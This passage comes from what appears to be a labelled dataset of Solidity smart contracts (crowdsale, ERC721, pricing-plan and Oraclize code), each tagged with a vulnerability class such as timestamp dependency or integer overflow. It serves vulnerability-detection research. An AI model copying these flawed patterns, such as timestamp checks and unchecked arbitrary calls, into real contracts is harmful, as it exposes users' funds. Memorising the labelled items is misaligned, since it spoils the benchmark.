weiAmount); event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress); event Whitelisted(address addr, bool status); event EndsAtChanged(uint newEndsAt); function CrowdsaleBase(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) { owner = msg.sender; token = FractionalERC20(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; if(startsAt >= endsAt) { throw; } minimumFundingGoal = _minimumFundingGoal; } function investInternal(address receiver, uint128 customerId) stopInEmergency internal returns(uint tokensBought) { Whitelist dc; address contract_addr = 0x062e41d1037745dc203e8c1AAcA651B8d157Da96; dc = Whitelist(contract_addr); require (dc.whitelist(msg.sender)); require (dc.whitelist(receiver)); if(getState() == State.PreFunding) { if(!earlyParticipantWhitelist[receiver]) { throw; } } else if(getState() == State.Funding) { } else { throw; } uint weiAmount = msg.value; require(weiAmount >= minimumFundingGoal); uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals()); require(tokenAmount != 0); if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); if(pricingStrategy.isPresalePurchase(receiver)) { presaleWeiRaised = presaleWeiRaised.plus(weiAmount); } require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)); assignTokens(receiver, tokenAmount); if(!multisigWallet.send(weiAmount)) throw; Invested(receiver, weiAmount, tokenAmount, customerId); return tokenAmount; } function finalize() public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != 0) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) onlyOwner { finalizeAgent = addr; if(!finalizeAgent.isFinalizeAgent()) { throw; } } function setEndsAt(uint time) onlyOwner { if(now > time) { throw; } if(startsAt > time) { throw; } endsAt = time; EndsAtChanged(endsAt); } function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner { pricingStrategy = _pricingStrategy; if(!pricingStrategy.isPricingStrategy()) { throw; } } function setMultisig(address addr) public onlyOwner { if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } function loadRefund() public payable inState(State.Failure) { if(msg.value == 0) throw; loadedRefund = loadedRefund.plus(msg.value); } function refund() public inState(State.Refunding) { uint256 weiValue = investedAmountOf[msg.sender]; if (weiValue == 0) throw; investedAmountOf[msg.sender] = 0; weiRefunded = weiRefunded.plus(weiValue); Refund(msg.sender, weiValue); if (!msg.sender.send(weiValue)) throw; } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding; else return State.Failure; } function setOwnerTestValue(uint val) onlyOwner { ownerTestValue = val; } function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner { earlyParticipantWhitelist[addr] = status; Whitelisted(addr, status); } function isCrowdsale() public constant returns (bool) { return true; } modifier inState(State state) { if(getState() != state) throw; _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) internal; } contract Crowdsale is CrowdsaleBase { bool public requireCustomerId; bool public requiredSignedAddress; address public signerAddress; function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) CrowdsaleBase(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) { } function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner { uint tokenAmount = fullTokens * 10**token.decimals(); uint weiAmount = weiPrice * fullTokens; weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); assignTokens(receiver, tokenAmount); Invested(receiver, weiAmount, tokenAmount, 0); } function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { bytes32 hash = sha256(addr); if (ecrecover(hash, v, r, s) != signerAddress) throw; if(customerId == 0) throw; investInternal(addr, customerId); } function investWithCustomerId(address addr, uint128 customerId) public payable { if(requiredSignedAddress) throw; if(customerId == 0) throw; investInternal(addr, customerId); } function invest(address addr) public payable { if(requireCustomerId) throw; if(requiredSignedAddress) throw; investInternal(addr, 0); } function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { investWithSignedAddress(msg.sender, customerId, v, r, s); } function buyWithCustomerIdWithChecksum(uint128 customerId, bytes1 checksum) public payable { if (bytes1(sha3(customerId)) != checksum) throw; investWithCustomerId(msg.sender, customerId); } function buyWithCustomerId(uint128 customerId) public payable { investWithCustomerId(msg.sender, customerId); } function buy() public payable { invest(msg.sender); } function setRequireCustomerId(bool value) onlyOwner { requireCustomerId = value; InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); } function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner { requiredSignedAddress = value; signerAddress = _signerAddress; InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); } function () public payable { invest(msg.sender); } } contract MintedTokenCappedCrowdsale is Crowdsale { uint public maximumSellableTokens; function MintedTokenCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) { maximumSellableTokens = _maximumSellableTokens; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) { return tokensSoldTotal > maximumSellableTokens; } function isCrowdsaleFull() public constant returns (bool) { return tokensSold >= maximumSellableTokens; } function assignTokens(address receiver, uint tokenAmount) internal { MintableToken mintableToken = MintableToken(token); mintableToken.mint(receiver, tokenAmount); } } contract ERC827 is ERC20 { function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); } contract ERC827Token is ERC827, StandardToken { function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); require(_spender.call(_data)); return true; } function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transfer(_to, _value); require(_to.call(_data)); return true; } function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); require(_to.call(_data)); return true; } function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); require(_spender.call(_data)); return true; } function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); require(_spender.call(_data)); return true; } } contract StandardTokenExt is StandardToken, ERC827Token, Recoverable { function isToken() public constant returns (bool weAre) { return true; } } contract MintableToken is StandardTokenExt { using SafeMathLib for uint; bool public mintingFinished = false; mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state); event Minted(address receiver, uint amount); function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply_ = totalSupply_.plus(amount); balances[receiver] = balances[receiver].plus(amount); Transfer(0, receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } modifier onlyMintAgent() { if(!mintAgents[msg.sender]) { throw; } _; } modifier canMint() { if(mintingFinished) throw; _; } }",./Dataset/timestamp dependency (TP)/,6,6 973.sol,"pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } library AddressUtils { function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } contract ERC721Receiver { bytes4 internal constant ERC721_RECEIVED = 0xf0b9e5ba; function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4); } interface ERC165 { function supportsInterface(bytes4 _interfaceId) external view returns (bool); } contract ERC721Basic is ERC165 { event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public; } contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } contract ERC721Metadata is ERC721Basic { function name() external view returns (string _name); function symbol() external view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } contract ERC721Holder is ERC721Receiver { function onERC721Received(address, uint256, bytes) public returns(bytes4) { return ERC721_RECEIVED; } } contract SupportsInterfaceWithLookup is ERC165 { bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7; mapping(bytes4 => bool) internal supportedInterfaces; constructor() public { _registerInterface(InterfaceId_ERC165); } function supportsInterface(bytes4 _interfaceId) external view returns (bool) { return supportedInterfaces[_interfaceId]; } function _registerInterface(bytes4 _interfaceId) internal { require(_interfaceId != 0xffffffff); supportedInterfaces[_interfaceId] = true; } } contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic { bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd; bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79; using SafeMath for uint256; using AddressUtils for address; bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; mapping (uint256 => address) internal tokenOwner; mapping (uint256 => address) internal tokenApprovals; mapping (address => uint256) internal ownedTokensCount; mapping (address => mapping (address => bool)) internal operatorApprovals; modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } modifier canTransfer(uint256 _tokenId) { require(isApprovedOrOwner(msg.sender, _tokenId)); _; } constructor() public { _registerInterface(InterfaceId_ERC721); _registerInterface(InterfaceId_ERC721Exists); } function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return operatorApprovals[_owner][_operator]; } function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } function safeTransferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) { safeTransferFrom(_from, _to, _tokenId, """"); } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public canTransfer(_tokenId) { transferFrom(_from, _to, _tokenId); require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { address owner = ownerOf(_tokenId); return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); emit Approval(_owner, address(0), _tokenId); } } function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( _from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } contract Ownable { address public owner; address public pendingOwner; address public manager; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyManager() { require(msg.sender == manager); _; } modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } constructor() public { owner = msg.sender; } function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } function setManager(address _manager) public onlyOwner { require(_manager != address(0)); manager = _manager; } } contract AviationSecurityToken is SupportsInterfaceWithLookup, ERC721, ERC721BasicToken, Ownable { bytes4 private constant InterfaceId_ERC721Enumerable = 0x780e9d63; bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f; string public name_ = ""AviationSecurityToken""; string public symbol_ = ""AVNS""; mapping(address => uint256[]) internal ownedTokens; mapping(uint256 => uint256) internal ownedTokensIndex; uint256[] internal allTokens; mapping(uint256 => uint256) internal allTokensIndex; mapping(uint256 => string) internal tokenURIs; struct Data{ string liscence; string URL; } mapping(uint256 => Data) internal tokenData; constructor() public { _registerInterface(InterfaceId_ERC721Enumerable); _registerInterface(InterfaceId_ERC721Metadata); } function mint(address _to, uint256 _id) external onlyManager { _mint(_to, _id); } function name() external view returns (string) { return name_; } function symbol() external view returns (string) { return symbol_; } function arrayOfTokensByAddress(address _holder) public view returns(uint256[]) { return ownedTokens[_holder]; } function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } function totalSupply() public view returns (uint256) { return allTokens.length; } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } function _setTokenURI(uint256 _tokenId, string _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } function _mint(address _to, uint256 _id) internal { allTokens.push(_id); allTokensIndex[_id] = _id; super._mint(_to, _id); } function addTokenData(uint _tokenId, string _liscence, string _URL) public { require(ownerOf(_tokenId) == msg.sender); tokenData[_tokenId].liscence = _liscence; tokenData[_tokenId].URL = _URL; } function getTokenData(uint _tokenId) public view returns(string Liscence, string URL){ require(exists(_tokenId)); Liscence = tokenData[_tokenId].liscence; URL = tokenData[_tokenId].URL; } }",./Dataset/integer overflow (OF)/,4,4 10163.sol,"pragma solidity ^0.4.23; contract NokuPricingPlan { function payFee(bytes32 serviceName, uint256 multiplier, address client) public returns(bool paid); function usageFee(bytes32 serviceName, uint256 multiplier) public constant returns(uint fee); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BurnableERC20 is ERC20 { function burn(uint256 amount) public returns (bool burned); } contract NokuTokenBurner is Pausable { using SafeMath for uint256; event LogNokuTokenBurnerCreated(address indexed caller, address indexed wallet); event LogBurningPercentageChanged(address indexed caller, uint256 indexed burningPercentage); address public wallet; uint256 public burningPercentage; uint256 public burnedTokens; uint256 public transferredTokens; constructor(address _wallet) public { require(_wallet != address(0), ""_wallet is zero""); wallet = _wallet; burningPercentage = 100; emit LogNokuTokenBurnerCreated(msg.sender, _wallet); } function setBurningPercentage(uint256 _burningPercentage) public onlyOwner { require(0 <= _burningPercentage && _burningPercentage <= 100, ""_burningPercentage not in [0, 100]""); require(_burningPercentage != burningPercentage, ""_burningPercentage equal to current one""); burningPercentage = _burningPercentage; emit LogBurningPercentageChanged(msg.sender, _burningPercentage); } function tokenReceived(address _token, uint256 _amount) public whenNotPaused { require(_token != address(0), ""_token is zero""); require(_amount > 0, ""_amount is zero""); uint256 amountToBurn = _amount.mul(burningPercentage).div(100); if (amountToBurn > 0) { assert(BurnableERC20(_token).burn(amountToBurn)); burnedTokens = burnedTokens.add(amountToBurn); } uint256 amountToTransfer = _amount.sub(amountToBurn); if (amountToTransfer > 0) { assert(BurnableERC20(_token).transfer(wallet, amountToTransfer)); transferredTokens = transferredTokens.add(amountToTransfer); } } } contract NokuFlatPlan is NokuPricingPlan, Ownable { using SafeMath for uint256; event LogNokuFlatPlanCreated( address indexed caller, uint256 indexed paymentInterval, uint256 indexed flatFee, address nokuMasterToken, address tokenBurner ); event LogPaymentIntervalChanged(address indexed caller, uint256 indexed paymentInterval); event LogFlatFeeChanged(address indexed caller, uint256 indexed flatFee); uint256 public paymentInterval; uint256 public nextPaymentTime; uint256 public flatFee; address public nokuMasterToken; address public tokenBurner; constructor( uint256 _paymentInterval, uint256 _flatFee, address _nokuMasterToken, address _tokenBurner ) public { require(_paymentInterval != 0, ""_paymentInterval is zero""); require(_flatFee != 0, ""_flatFee is zero""); require(_nokuMasterToken != 0, ""_nokuMasterToken is zero""); require(_tokenBurner != 0, ""_tokenBurner is zero""); paymentInterval = _paymentInterval; flatFee = _flatFee; nokuMasterToken = _nokuMasterToken; tokenBurner = _tokenBurner; nextPaymentTime = block.timestamp; emit LogNokuFlatPlanCreated( msg.sender, _paymentInterval, _flatFee, _nokuMasterToken, _tokenBurner ); } function setPaymentInterval(uint256 _paymentInterval) public onlyOwner { require(_paymentInterval != 0, ""_paymentInterval is zero""); require(_paymentInterval != paymentInterval, ""_paymentInterval equal to current one""); paymentInterval = _paymentInterval; emit LogPaymentIntervalChanged(msg.sender, _paymentInterval); } function setFlatFee(uint256 _flatFee) public onlyOwner { require(_flatFee != 0, ""_flatFee is zero""); require(_flatFee != flatFee, ""_flatFee equal to current one""); flatFee = _flatFee; emit LogFlatFeeChanged(msg.sender, _flatFee); } function isValidService(bytes32 _serviceName) public pure returns(bool isValid) { return _serviceName != 0; } function payFee(bytes32 _serviceName, uint256 _multiplier, address _client) public returns(bool paid) { require(isValidService(_serviceName), ""_serviceName in invalid""); require(_multiplier != 0, ""_multiplier is zero""); require(_client != 0, ""_client is zero""); require(block.timestamp < nextPaymentTime); return true; } function usageFee(bytes32 _serviceName, uint256 _multiplier) public constant returns(uint fee) { require(isValidService(_serviceName), ""_serviceName in invalid""); require(_multiplier != 0, ""_multiplier is zero""); return 0; } function paySubscription(address _client) public returns(bool paid) { require(_client != 0, ""_client is zero""); nextPaymentTime = nextPaymentTime.add(paymentInterval); assert(ERC20(nokuMasterToken).transferFrom(_client, tokenBurner, flatFee)); NokuTokenBurner(tokenBurner).tokenReceived(nokuMasterToken, flatFee); return true; } }",./Dataset/timestamp dependency (TP)/,6,6 40458.sol,"// /* Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { address oraclizeAddr = OAR.getAddress(); if (oraclizeAddr == 0){ oraclize_setNetwork(networkID_auto); oraclizeAddr = OAR.getAddress(); } oraclize = OraclizeI(oraclizeAddr); _ } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _ } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); return true; } if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); return true; } if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); return true; } return false; } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; 